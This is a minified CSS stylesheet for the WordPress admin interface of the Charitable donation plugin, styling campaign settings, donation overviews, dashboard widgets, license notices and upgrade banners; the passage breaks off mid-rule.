.ui-tabs-panel{clear:none;box-sizing:border-box;float:right;width:80%;padding:20px;margin:0;border-left:1px solid #dedede;border-top:0;background-color:#fff}#campaign-settings #wp-content-editor-tools{padding-top:0}.charitable-campaign-settings-panel .charitable-metabox-header:first-child{margin-top:0}#charitable-campaign-suggested-donations .amount-col{width:100px;min-width:35%}.charitable-benefactor-wrap{padding:0 10px 10px;margin-top:10px;border:1px solid #ddd;background:#f5f5f5}.charitable-benefactor-wrap select{width:100%}.charitable-benefactor-summary{*zoom:1}.charitable-benefactor-summary:before, .charitable-benefactor-summary:after{content:\" \";display:table}.charitable-benefactor-summary:after{clear:both}.charitable-benefactor-summary .summary{float:left;width:82%}.charitable-benefactor-summary .alignright{float:right;width:18%;text-align:right}.charitable-benefactor-form-cancel{float:right;margin-top:10px}.charitable-benefactor-contribution-amount{margin-bottom:10px}.charitable-benefactor-contribution-amount .contribution-amount{margin-bottom:10px;font-size:16px}@media (min-width:42.5em){.charitable-benefactor-contribution-amount{border:1px solid #ddd;background-color:#fff}.charitable-benefactor-contribution-amount .contribution-amount{width:auto;min-width:220px;margin:1px;border:none;box-shadow:none}.charitable-benefactor-contribution-amount .contribution-type{float:right;margin:10px;width:auto}.charitable-benefactor-contribution-amount input:focus, .charitable-benefactor-contribution-amount select:focus{box-shadow:none}}.charitable-benefactor-date-wrap{margin-top:10px}.charitable-benefactor-date-wrap label{float:left;width:49%}.charitable-benefactor-date-wrap label:nth-child(2n+2){margin-left:2%}.charitable-benefactor-date-wrap input{margin:1em 0;font-weight:normal}.charitable-benefactor-inactive,.charitable-benefactor-expired{background-color:#f5f5f5}.charitable-benefactor-inactive .summary span,.charitable-benefactor-expired .summary span{font-weight:bold;text-transform:uppercase;padding-right:8px;color:#f89d35}#campaign-creator .creator-facts .creator-name{padding:0}#campaign-creator .creator-facts .creator-name a{color:#333;text-decoration:none}#campaign-creator .creator-facts dt{display:inline-block;font-weight:bold}#campaign-creator .creator-facts dd{display:inline-block}#charitable-campaign-creator-metabox-wrap #campaign-creator{padding-bottom:24px;margin-bottom:12px;border-bottom:1px solid #e1e1e1}body.post-type-donation #post-body-content,body.post-type-donation #titlediv{display:none}body.post-type-donation .closed .inside{display:block}body.post-type-donation .donation-banner-wrapper{float:left;width:100%;background:#f8f8f8;border-radius:4px 4px 0 0;border-bottom:1px solid #e5e5e5}body.post-type-donation .donation-banner{position:relative;padding:12px}body.post-type-donation .donation-banner .donation-edit-link{position:absolute;top:12px;right:12px}body.post-type-donation .donation-banner .donation-number{margin:0;padding:0;font-size:1.3em}body.post-type-donation .donation-erasure-notice-wrapper{float:left;width:100%}body.post-type-donation .donation-erasure-notice{padding:12px 20px;border-bottom:1px solid #e5e5e5;font-style:italic}@media (min-width:70em){body.post-type-donation #poststuff #post-body.columns-2{margin-right:340px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1{margin-right:-340px;width:320px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1 #side-sortables{width:100%}}#donation-overview .charitable-metabox{*zoom:1}#donation-overview .charitable-metabox:before, #donation-overview .charitable-metabox:after{content:\" \";display:table}#donation-overview .charitable-metabox:after{clear:both}#donation-overview .hndle{display:none}#donation-overview .inside{margin:0;padding:0}#donation-overview #donor{float:left;padding:12px 12px 36px 12px;width:300px;max-width:67%}#donation-overview .donor-name{font-weight:normal}#donation-overview h3{margin:0 0 0.5em;padding:0;font-size:1.3em}#donation-overview #donation-summary{float:right;padding:12px 12px 36px 0;max-width:33%;text-align:right}#donation-overview .donation-status{display:block;margin-bottom:6px}#donation-overview .donation-status .status,#donation-overview .donation-status .contact-consent .consent{font-weight:bolder}#donation-overview table#overview{float:left;width:100%;border-spacing:0}#donation-overview table#overview thead th{padding:0 0 0.8em}#donation-overview table#overview .col-campaign-name{padding-left:12px;text-align:left}#donation-overview table#overview .col-campaign-donation-amount{padding-right:12px;text-align:right}#donation-overview table#overview tbody td{padding:2em 0;border-top:1px solid #e5e5e5}#donation-overview table#overview tbody tr:last-child td{border-bottom:1px solid #e5e5e5}#donation-overview table#overview .campaign-name{padding-left:12px;font-size:18px}#donation-overview table#overview .campaign-donation-amount{padding-right:12px;font-size:16px;text-align:right}#donation-overview table#overview tfoot td,#donation-overview table#overview tfoot th{padding:0.6em 12px 0.6em 0;background-color:#f8f8f8;text-align:right}#donation-overview table#overview tfoot tr:first-of-type td,#donation-overview table#overview tfoot tr:first-of-type th{padding-top:1.2em}#donation-overview table#overview tfoot tr:last-of-type td,#donation-overview table#overview tfoot tr:last-of-type th{padding-bottom:1.2em}#donation-actions .inside{padding:0}#donation-details,#donation-log,#donation-actions{border-bottom:1px solid #ccd0d4}#donation-details dt{font-weight:bold;margin-bottom:0.5em}#donation-details dd{margin:0 0 1em;padding-bottom:1em;border-bottom:1px solid #e5e5e5}#donation-details dd:last-child{border-bottom:none;padding-bottom:0}#donation-log .inside{padding:0;margin-top:0}#donation-log table{word-break:break-all;border:none}#donation-log th,#donation-log td{padding-left:12px;padding-right:12px}#donation-log thead th{background:#f8f8f8}#donation-log thead th:first-child{width:200px}#donation-log tbody td{border-bottom:1px solid #e5e5e5}#donation-log tbody tr:last-child td{border-bottom:0}.post-type-donation.charitable-admin-donation-form #postbox-container-2{margin-bottom:0;border:1px solid #dedede;border-radius:4px;background:#fff}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap{margin-bottom:24px}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap.charitable-fieldset-wrap{margin-bottom:0}.post-type-donation.charitable-admin-donation-form #donation-form{border:none;background:transparent;box-shadow:none}.post-type-donation.charitable-admin-donation-form #donation-form .postbox-title{display:none}.post-type-donation.charitable-admin-donation-form #donation-form .inside{padding:0;margin:0}.post-type-donation.charitable-admin-donation-form #donation-form .inside > .charitable-form-fields{clear:both;padding:20px}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields > h3:first-of-type{margin-top:0}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields > .charitable-metabox-wrap:not(.charitable-fieldset-wrap){margin-bottom:24px}.post-type-donation.charitable-admin-donation-form #donation-form-meta{padding:24px 12px 12px}#charitable-campaign-donations thead th{background:#f5f5f5}#charitable-user-fields-wrap{width:100%}#charitable-user-fields-wrap .charitable-overlay{display:none !important}#charitable-user-fields-wrap.loading-data .charitable-overlay{display:block !important;text-align:center}#charitable-user-fields-wrap.loading-data > *:not(.charitable-overlay){display:none}#charitable-user-fields-wrap #charitable-first-name-wrap,#charitable-user-fields-wrap #charitable-last-name-wrap{width:48%}#charitable-user-fields-wrap #charitable-first-name-wrap{padding-right:4%}#charitable-user-fields-wrap #charitable-postcode-wrap{width:26%;padding-right:4%}#charitable-user-fields-wrap #charitable-country-wrap{width:70%;clear:right}.charitable-settings-field{padding:7px 10px;width:300px;font-size:16px;line-height:1.5em}.charitable-settings-field.short{width:100px}.charitable-settings-field.wide{width:100%}.charitable-inline-notice{background:#fff;border:1px solid #c3c4c7;border-left-width:4px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);margin:5px 15px 15px 0;padding:10px 12px}.charitable-inline-notice p:last-child{margin-bottom:0 !important}.charitable-inline-notice.info{border-left-color:#00a0d2}.charitable-inline-notice.warning{border-left-color:#ffb900}input[type=number].charitable-settings-field{height:auto}select.charitable-settings-field{width:auto;min-width:300px}input#charitable_settings_import_campaign,input#charitable_settings_import_donations{display:table;margin:0 0 10px 0;width:100%}select#charitable_settings_import_donations,select#charitable_settings_export_campaign,select#charitable_settings_export_donations{padding:0 24px 0 10px;min-height:45px;display:table;margin:0 0 10px 0;width:100%;text-indent:10px}.charitable-settings-object{max-width:1000px;padding:10px 20px;margin-bottom:4px;border:1px solid #e1e1e1;background-color:#fff}.charitable-settings-object h4{float:left;margin:0;line-height:28px}.charitable-settings-object span.actions{float:right}.charitable-settings-object span.actions a{margin-left:10px}.charitable-gateway .default-gateway,.charitable-gateway .make-default-gateway{margin-left:20px;font-size:12px;line-height:28px}.charitable-gateway .default-gateway{color:#f89d35}.charitable-gateway .make-default-gateway{color:#777}.charitable-settings-notice{max-width:860px;padding:10px 20px;border:1px solid #e1e1e1;background-color:#fef4e8}.charitable-settings-notice.license-notice{margin-top:-10px}.charitable-licensed-product h4{width:230px;margin-right:20px;line-height:40px}.charitable-licensed-product .charitable-settings-field{float:left;width:100%}@media (min-width:68.125em){.charitable-licensed-product .charitable-settings-field{width:312px;margin-right:20px}}.charitable-licensed-product .license-meta{font-size:12px;line-height:40px}.charitable-licensed-product .license-active{float:left}.charitable-licensed-product .valid-license{color:#f89d35;font-weight:bold}.charitable-licensed-product .license-deactivation{float:left;margin:6px 0}.charitable-licensed-product .license-invalid{color:#f89d35}.charitable-licensed-product .license-expiration-date{float:right;margin-left:10px}.charitable-help{display:block;margin-top:4px;font-size:13px;line-height:21px;font-style:italic;color:#777}.form-table .charitable-help p{font-size:13px;line-height:21px}.form-table td.charitable-fullwidth{padding:15px 0}.charitable-shortcode-options ul{list-style:disc;margin-left:16px;font-style:normal}.charitable-shortcode-options li{margin-bottom:2px}@media (min-width:48em){.charitable_page_charitable-settings .form-table th{min-width:250px}}body.charitable_page_charitable-settings div#charitable-settings table.form-table{max-width:1000px}.charitable_page_charitable-settings .form-table th label{font-size:13px}.charitable_page_charitable-settings .form-table td select{max-width:400px}.charitable-radio-list{padding:0;margin:0;list-style:none}.charitable-radio-list li{display:inline-block;margin-right:20px}.charitable-checkbox-list{width:auto;margin:0;padding:0}.charitable-notice{padding:5px 10px;font-size:14px;background-color:#fff}.charitable-notice.charitable-notice-error{border-left:4px solid #dc3232}.charitable-admin-notice-five-star-rating button.button:hover,.charitable-admin-notice-five-star-rating a.button-link:hover{background-color:transparent}.charitable-admin-notice-five-star-rating p{margin-top:0;margin-bottom:0}.charitable-admin-notice-five-star-rating[data-step=\"2\"],.charitable-admin-notice-five-star-rating[data-step=\"3\"]{display:none}.edit-php.post-type-charitable .tablenav .actions{padding-right:0}.edit-php.post-type-charitable .tablenav #start_date,.edit-php.post-type-charitable .tablenav #end_date{width:10.5em}.edit-php.post-type-charitable .tablenav #post-query-submit{display:none}.edit-php.post-type-charitable .tablenav #delete_all{margin-top:3px}.edit-php.post-type-charitable .tablenav .charitable-filter-button:before,.edit-php.post-type-charitable .tablenav .charitable-export-button:before{vertical-align:middle;margin-top:-2px;width:16px;height:16px;font-size:16px}.edit-php.post-type-charitable .tablenav a.button{display:inline-block}.edit-php.post-type-charitable .tablenav.top{margin:0 0 12px 0}.edit-php.post-type-charitable .tablenav.top select.campaign_id{float:none;vertical-align:top}.edit-php.post-type-charitable .tablenav.top .actions{overflow:visible}.edit-php.post-type-charitable .tablenav.top .actions .has-popup{position:relative;display:inline-block;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup{visibility:hidden;width:260px;background-color:#999;color:#fff;text-align:center;border-radius:6px;padding:4px;position:absolute;z-index:1;top:125%;left:50%;margin-left:-136px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup input,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup label,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup select{width:80%;margin-bottom:1em}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup .inner{background:white;padding:1em 0;border-radius:4px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup::before{content:\"\";position:absolute;bottom:100%;left:50%;margin-left:-5px;border-width:5px;border-style:solid;border-color:transparent transparent #999 transparent}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup.show{visibility:visible !important;-webkit-animation:fadeIn 1s;animation:fadeIn 1s}.edit-php.post-type-charitable .tablenav.top .actions .charitable-export-actions{margin-left:8px}.edit-php.post-type-charitable .wp-list-table .meta{display:block;color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status mark,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:bold}form#posts-filter .actions.charitable-export-actions{margin-top:3px}.post-type-charitable #donation-summary mark{padding:2px 4px 2px 6px}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-pending{background-color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-completed{background-color:#34d058}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-failed{background-color:#f7a129}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-cancelled{background-color:#ff0000}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-refunded{background-color:#3fb8f5}.edit-php.post-type-campaign th.manage-column.column-ID,.edit-php.post-type-campaign td.column-ID{width:2.2em;padding:11px 3px}.edit-php.post-type-campaign .column-status mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:bold}.edit-php.post-type-campaign .column-status mark.active{background-color:#23282d}.edit-php.post-type-campaign .column-status mark.finished{background-color:#3fb8f5}.edit-php.post-type-campaign .column-status mark.successful{background-color:#34d058}.edit-php.post-type-campaign .column-status mark.unsuccessful{background-color:#ff0000}#charitable_dashboard_donations .hide-if-no-js{padding:10px 0;text-align:center}#charitable_dashboard_donations .inside{margin:0;padding:0}#charitable_dashboard_donations .charitable-donation-statistics{*zoom:1;margin-bottom:20px}#charitable_dashboard_donations .charitable-donation-statistics:before, #charitable_dashboard_donations .charitable-donation-statistics:after{content:\" \";display:table}#charitable_dashboard_donations .charitable-donation-statistics:after{clear:both}#charitable_dashboard_donations .cell{box-sizing:border-box;float:left;width:50%;padding:23px 0 10px;border-right:1px solid #e5e5e5;border-bottom:1px solid #e5e5e5;text-align:center}#charitable_dashboard_donations .cell .amount{color:#f89d35;font-size:28px;font-weight:normal;padding-bottom:0}#charitable_dashboard_donations .summary{margin-top:0;color:#777}#charitable_dashboard_donations .summary .time-period{font-weight:bold;color:#444}#charitable_dashboard_donations .recent-donations{margin:0 11px}#charitable_dashboard_donations .recent-donations table{width:100%;border-collapse:collapse}#charitable_dashboard_donations .recent-donations caption{text-align:left}#charitable_dashboard_donations .recent-donations caption h3{padding-left:0}#charitable_dashboard_donations .recent-donations td{padding:10px 0;border-top:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations tr:last-child td{border-bottom:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations .donation-total{text-align:right;font-weight:bold}#charitable_dashboard_donations .recent-donations .donation-id{width:80px}\u002F* * The Lite -> Pro upgrade banner (\"You're using Charitable Lite!\"). * * Visual properties (orange background, white text, font, base padding) live * at the base selector so they apply at every viewport. Previously they were * scoped inside @media (min-width:783px), which left mobile admins with a * bare default-styled banner once the WP admin breakpoint flipped. * * Layout properties that depend on the desktop admin column (negative * margin to align with the wider sidebar offset, tighter padding) stay * inside the 783px media query. *\u002F.charitable-admin-banner-top-of-page{text-align:center;background:#E89940;color:#fff;font-size:13px;line-height:1.4;padding:10px 46px 10px 22px}.charitable-admin-banner-top-of-page a{color:white}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page{background:#e84040}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover{color:white !important}.charitable-admin-banner-top-of-page .button-link{position:absolute;top:48px;right:-1px;font-size:20px;color:#fff;font-weight:bold;text-decoration:none;margin-left:5px;padding:6px 10px}@media screen and (min-width:601px){.charitable-admin-banner-top-of-page .button-link{top:0}}@media screen and (min-width:783px){.charitable-admin-banner-top-of-page{margin-left:-20px;padding:9px 32px 9px 20px;display:none}[dir=rtl] .charitable-admin-banner-top-of-page{margin-left:0;margin-right:-20px}.charitable-admin-banner-top-of-page .button-link{right:9px}}@media screen and (max-width:782px){.charitable-admin-banner-top-of-page{margin-left:-10px}}.charitable-notice.notice-five-star-review{z-index:0}.charitable-notice:first-of-type{margin-left:3px;margin-right:20px;margin-top:10px}.charitable-notice{margin-top:10px;margin-left:3px;margin-right:20px;margin-bottom:0;padding:10px 10px}.charitable-notice.updated,.charitable-notice.error{margin:10px 20px 2px 3px}form#posts-filter table tbody#the-list tr.child td{padding:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner{justify-content:space-between;flex-direction:row;display:flex;flex:0 0 100%;flex-direction:row;align-items:center;padding:15px 30px;flex-wrap:nowrap;position:relative}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner > div{flex-grow:1;display:flex;align-items:center}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon{width:auto;height:45px;margin:0px 15px 0 0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon img{height:45px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-text p{font-size:16px;margin-top:0;margin-bottom:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-button{display:flex;flex-direction:row;justify-content:end;min-width:20%}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link{background-color:#5AA152;color:#ffffff;padding:10px 30px;position:relative;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-family:\"Inter\";font-size:13px;line-height:normal;color:#2271b1;cursor:pointer;display:table;text-align:center;float:right}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link:hover{background-color:#3f7539}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close{width:18px;display:inline-block;height:18px;margin-left:20px;margin-right:20px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close img{width:18px;height:18px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close:hover{opacity:0.5}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:active,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:visited{color:white}body.wp-admin .jconfirm.jconfirm-white .jconfirm-bg,body.wp-admin .jconfirm.jconfirm-light .jconfirm-bg{opacity:0.8}body.post-type-campaign .jconfirm .jconfirm-cell{display:table-cell}body.post-type-campaign .jconfirm.jconfirm-type-lite-pro-ad{background-color:white;color:#2B2E39;font-family:\"Inter\", sans-serif}.charitable-lite-pro-popup{padding:0 20px;display:flex;font-size:16px}.charitable-lite-pro-popup-left{flex:1}.charitable-lite-pro-popup-right{flex:1}.charitable-lite-pro-popup h1{color:#3F414C;font-size:24px;line-height:33px;margin:0 0 15px 0;font-weight:700}.charitable-lite-pro-popup h2{font-weight:400;font-size:14px;line-height:21px;color:#5A5C65;margin:0 0 30px 0}.charitable-lite-pro-popup ul{margin:0 20px 25px 0;display:table;list-style-position:outside;font-size:16px}.charitable-lite-pro-popup li{background-image:url(\"..\u002Fimages\u002Ficons\u002Fgreen_check_circle.png\");background-repeat:no-repeat;font-size:14px;font-weight:500;line-height:21px;color:#3F414C;padding-left:25px;margin:0 0 15px 0;padding-left:30px;\u002F* .charitable-lite-pro-popup li::marker{margin-top:2px}*\u002F}.charitable-lite-pro-popup li p{margin:-2px 0 0 0;display:inline;padding:0}.charitable-lite-pro-popup .charitable-lite-pro-popup-button{padding:16px 18px;background:#E89940;margin:10px auto 0 auto;color:#fff;text-align:center;font-size:16px;line-height:24px;display:block;text-decoration:none;font-weight:600;border-radius:5px}.charitable-lite-pro-popup .charitable-lite-pro-popup-link{display:block;font-size:14px;line-height:18px;margin:20px 0 0 0;font-weight:400;color:#486DCB}.charitable-lite-pro-popup .charitable-lite-pro-popup-link:hover{text-decoration:underline}.charitable-lite-pro-popup a.charitable-lite-pro-popup-link{text-decoration:none;color:#3459C4 !important}.charitable-lite-pro-popup .charitable-lite-pro-popup-right img{padding:0 0 0 20px;margin-top:30px}body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup li,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h2,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h1,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup a.charitable-lite-pro-popup-link{color:#2B2E39}.charitable-licensed-product .license-deactivation{margin:2px 0}textarea.charitable-settings-field{width:75%;font-size:13px;line-height:21px}.starburst{background:#347d39;width:2.75em;height:2.75em;text-align:center;color:#fff;font-weight:800;display:flex;align-items:center;justify-content:center;position:absolute;top:50%;margin-top:-1.25em;margin-left:-1.25em}.starburst span{width:100%;height:100%;background:inherit;transform:rotate(-45deg);display:flex;align-items:center;justify-content:center}.starburst span:before, .starburst span:after{content:\"\";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst span:after{transform:rotate(30deg)}.starburst span:before{transform:rotate(-30deg)}.starburst:before, .starburst:after{content:\"\";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst:after{transform:rotate(-30deg)}#wpcharitable-starburst-new{left:5px;top:0}#qt__charitable_campaign_description_toolbar input.ed_button{padding:0 10px}th.default_amount-col,td.default_amount-col{vertical-align:middle;max-width:50px;width:50px}#create-campaign-form label{font-size:16px;line-height:21px;margin-bottom:5px;margin-top:15px;display:block}#create-campaign-form p{margin:5px 0}#create-campaign-form small{font-size:12px;line-height:16px}#create-campaign-form input[type=text]{margin-bottom:10px;width:90%}#create-campaign-form input[type=text]::placeholder{color:#ccc;opacity:1}#create-campaign-form input[type=text]:-ms-input-placeholder{color:#ccc}#create-campaign-form input[type=text]::-ms-input-placeholder{color:#ccc}div#charitable-settings{}div#charitable-settings table.form-table tbody tr.section-heading th{}div#charitable-settings table.form-table tbody tr.section-heading th h4{font-size:20px;font-weight:700;margin:0 0 6px 0}div#charitable-settings table.form-table tbody tr.section-heading p{margin-bottom:0}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th h4{color:red}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th:first-child{width:inherit}div#charitable-settings table.form-table tbody tr th{padding:5px 0}div#charitable-settings table.form-table tbody tr th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr th[scope=row] h4{font-weight:normal;font-size:inherit}div#charitable-settings table.form-table tbody tr td p{margin:0 0 10px 0}div#charitable-settings table.form-table tbody tr:first-child th:first-child{width:auto}div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr.section-subheading th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tr input[type=text],div#charitable-settings table.form-table tr input[type=email],div#charitable-settings table.form-table tr input[type=password],div#charitable-settings table.form-table tr select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;border-radius:3px;box-shadow:none;display:inline-block;vertical-align:middle;padding:7px 24px 7px 12px;margin:0 10px 0 0;min-height:35px;font-size:13px;line-height:29px;font-weight:500}div#charitable-settings table.form-table tr.general-settings input[type=text],div#charitable-settings table.form-table tr.general-settings input[type=password],div#charitable-settings table.form-table tr.general-settings select{min-width:400px}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list.charitable-settings-field{width:50%}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list li{display:block;font-size:14px}div#charitable-settings .green{color:green}div#charitable-settings input#charitable-settings-upgrade-license-key:read-only{opacity:0.4}div#charitable-settings .license-message.license-valid- button.charitable-btn-deactivate, div#charitable-settings .license-message.license-valid-false button.charitable-btn-deactivate{display:none}div#charitable-settings .charitable-btn{border:1px;border-top-color:currentcolor;border-top-style:none;border-right-color:currentcolor;border-right-style:none;border-bottom-color:currentcolor;border-bottom-style:none;border-left-color:currentcolor;border-left-style:none;border-style:solid;border-radius:3px;cursor:pointer;display:inline-block;margin:0;margin-right:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;border-radius:7px}div#charitable-settings .charitable-btn-md{font-size:13px;font-weight:600;padding:8px 12px;min-height:39px}div#charitable-settings .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}div#charitable-settings .charitable-btn-orange:hover:not(:disabled){background-color:#c96528;border-color:#c96528;color:#fff}div#charitable-settings .charitable-btn-green{background-color:#5aa152;border-color:#5aa152;color:#fff}div#charitable-settings .charitable-btn-green:hover:not(:disabled){background-color:#4c8a45;border-color:#4c8a45;color:#fff}div#charitable-settings p.submit .button.button-secondary{border-radius:5px;font-family:\"Inter\", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;height:auto}div#charitable-settings .charitable-setting-row button{margin-right:10px}body.charitable-admin-settings div.jconfirm *,body.charitable-admin-settings div.jconfirm *::before,body.charitable-admin-settings div.jconfirm *::after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box{display:grid;grid-template-columns:repeat(2, 1fr);justify-items:center;animation:none;background:#ffffff;border-radius:6px;border-top-style:solid;border-top-width:4px;box-shadow:0 3px 6px rgba(0, 0, 0, 0.15);padding-top:34px;max-width:400px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons{grid-column:1\u002F-1;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{border-top-width:0;padding-top:25px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c{margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c .jconfirm-icon-c{font-size:44px;margin-bottom:-6px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red{border-top-color:#d63638 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red .jconfirm-title-c .jconfirm-icon-c{color:#d63638 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm{background-color:#d63638;border-color:#d63638}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm:hover{background-color:#b32d2e;border-color:#b32d2e}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange{border-top-color:#e27730 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange .jconfirm-title-c .jconfirm-icon-c{color:#e27730 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow{border-top-color:#ffb900 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow .jconfirm-title-c .jconfirm-icon-c{color:#ffb900 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm{background-color:#ffb900;border-color:#ffb900}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm:hover{background-color:#ffaa00;border-color:#ffaa00}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue{border-top-color:#0399ed !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue .jconfirm-title-c .jconfirm-icon-c{color:#0399ed !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue 